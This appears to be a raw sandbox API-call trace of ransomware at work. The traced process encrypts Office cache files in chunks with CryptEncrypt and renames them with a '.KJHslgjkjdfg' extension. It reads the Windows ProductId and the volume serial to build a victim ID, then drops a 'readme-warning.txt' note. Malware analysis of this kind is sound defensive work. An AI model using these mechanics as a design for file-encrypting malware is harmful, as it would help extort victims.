[0133.447] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2522624) returned 1 [0133.447] GetProcessHeap () returned 0x2a0000 [0133.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.447] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.447] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.447] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0133.447] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.447] GetProcessHeap () returned 0x2a0000 [0133.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0133.447] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0133.447] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.447] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0133.450] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0133.450] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0133.450] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0133.450] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0133.450] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0133.450] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0133.450] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.450] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.450] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.454] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.458] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.458] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.460] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.460] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.460] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.471] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.474] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.474] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.475] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.475] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.476] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0133.476] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0133.565] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0133.568] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.568] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0133.569] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.569] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0133.569] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.569] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.569] SetEndOfFile (hFile=0x124) returned 1 [0133.573] GetProcessHeap () returned 0x2a0000 [0133.573] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.574] GetProcessHeap () returned 0x2a0000 [0133.574] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.574] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.kjhslgjkjdfg")) returned 1 [0133.575] CloseHandle (hObject=0x124) returned 1 [0133.575] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0133.576] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.576] GetProcessHeap () returned 0x2a0000 [0133.576] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0133.576] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0133.576] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0133.576] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0133.601] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.601] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.601] GetProcessHeap () returned 0x2a0000 [0133.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0133.601] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0133.601] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.601] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0133.601] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0133.601] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0133.601] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0133.601] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0133.601] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0133.602] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0133.602] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0133.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.602] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x708, lpOverlapped=0x0) returned 1 [0133.602] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x710, dwBufLen=0x710 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x710) returned 1 [0133.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.602] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x710, lpOverlapped=0x0) returned 1 [0133.602] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.602] SetEndOfFile (hFile=0x124) returned 1 [0133.605] GetProcessHeap () returned 0x2a0000 [0133.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.605] GetProcessHeap () returned 0x2a0000 [0133.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0133.605] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.kjhslgjkjdfg")) returned 1 [0133.609] CloseHandle (hObject=0x124) returned 1 [0133.609] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0133.609] GetProcessHeap () returned 0x2a0000 [0133.609] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0133.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.609] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0133.609] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.609] GetProcessHeap () returned 0x2a0000 [0133.609] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0133.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.609] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0133.611] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.611] GetProcessHeap () returned 0x2a0000 [0133.611] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0133.611] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.611] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0133.611] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.611] GetProcessHeap () returned 0x2a0000 [0133.611] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0133.611] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.611] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0133.611] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.611] GetProcessHeap () returned 0x2a0000 [0133.611] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0133.611] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.611] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ef10 | out: pbData=0x2c1668, pdwDataLen=0x290ef10) returned 1 [0133.611] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.611] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0133.611] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0133.612] RegCloseKey (hKey=0x124) returned 0x0 [0133.612] GetProcessHeap () returned 0x2a0000 [0133.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0133.612] GetProcessHeap () returned 0x2a0000 [0133.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0133.612] GetProcessHeap () returned 0x2a0000 [0133.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0133.612] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0133.612] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ece4 | out: pbData=0x2c1668, pdwDataLen=0x290ece4) returned 1 [0133.612] CryptDestroyKey (hKey=0x2c6260) returned 1 [0133.612] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0133.612] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.612] GetProcessHeap () returned 0x2a0000 [0133.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0133.612] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0133.612] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0133.612] GetProcessHeap () returned 0x2a0000 [0133.613] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0133.613] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0133.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0133.613] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0133.614] CloseHandle (hObject=0x124) returned 1 [0133.615] GetProcessHeap () returned 0x2a0000 [0133.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0133.615] GetProcessHeap () returned 0x2a0000 [0133.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0133.615] GetProcessHeap () returned 0x2a0000 [0133.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0133.615] GetProcessHeap () returned 0x2a0000 [0133.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0133.615] FindClose (in: hFindFile=0x2c62a0 | out: hFindFile=0x2c62a0) returned 1 [0133.615] GetProcessHeap () returned 0x2a0000 [0133.615] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ab8 | out: hHeap=0x2a0000) returned 1 [0133.615] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0133.615] GetProcessHeap () returned 0x2a0000 [0133.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0133.615] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62a0 [0133.619] GetProcessHeap () returned 0x2a0000 [0133.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0133.619] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0133.619] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0133.619] GetProcessHeap () returned 0x2a0000 [0133.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2c7ab8 [0133.619] GetProcessHeap () returned 0x2a0000 [0133.619] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa0) returned 0x2ed148 [0133.619] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, 